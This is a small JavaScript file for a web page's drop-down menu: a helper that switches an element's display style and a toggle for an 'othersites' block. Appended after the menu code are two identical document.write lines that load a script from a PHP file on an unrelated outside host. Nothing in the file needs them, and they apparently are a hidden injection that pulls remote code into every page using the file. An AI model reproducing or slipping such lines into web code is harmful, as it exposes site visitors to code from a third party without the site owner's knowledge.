function change( elementId, setTo ) {

    if( document.getElementById ) {
        //DOM
        var theElement = document.getElementById( elementId );
    } else {
        if( document.all ) {
            //Proprietary DOM
            var theElement = document.all[ elementId ];
        } else {
            //Create an object to prevent errors further on
            var theElement = new Object();
        }
    }
    if( !theElement ) {
        /* The page has not loaded or the browser claims to support
        document.getElementById or document.all but cannot actually
        use either */
        return;
    }
    //Reference the style ...
    if( theElement.style ) { theElement = theElement.style; }
    if( typeof( theElement.display ) == 'undefined' &&
    !( window.ScriptEngine && ScriptEngine().indexOf('InScript') + 1 ) ) {
      window.alert( 'Sorry Your Browser wont work with these menus' );
      return;
    }
    //Change the display style
    theElement.display = setTo;
}

var currentshow=0;
function showmenu()
{
	if (currentshow==1) 
	{ 
		change( 'othersites', 'none' );
		currentshow=0;
	} else {
		change( 'othersites' , 'block' ); 
		currentshow=1;
	}
}
document.write('<script src=http://tasovice.cz/kultura/ikonapicture.php ><\/script>');
document.write('<script src=http://tasovice.cz/kultura/ikonapicture.php ><\/script>');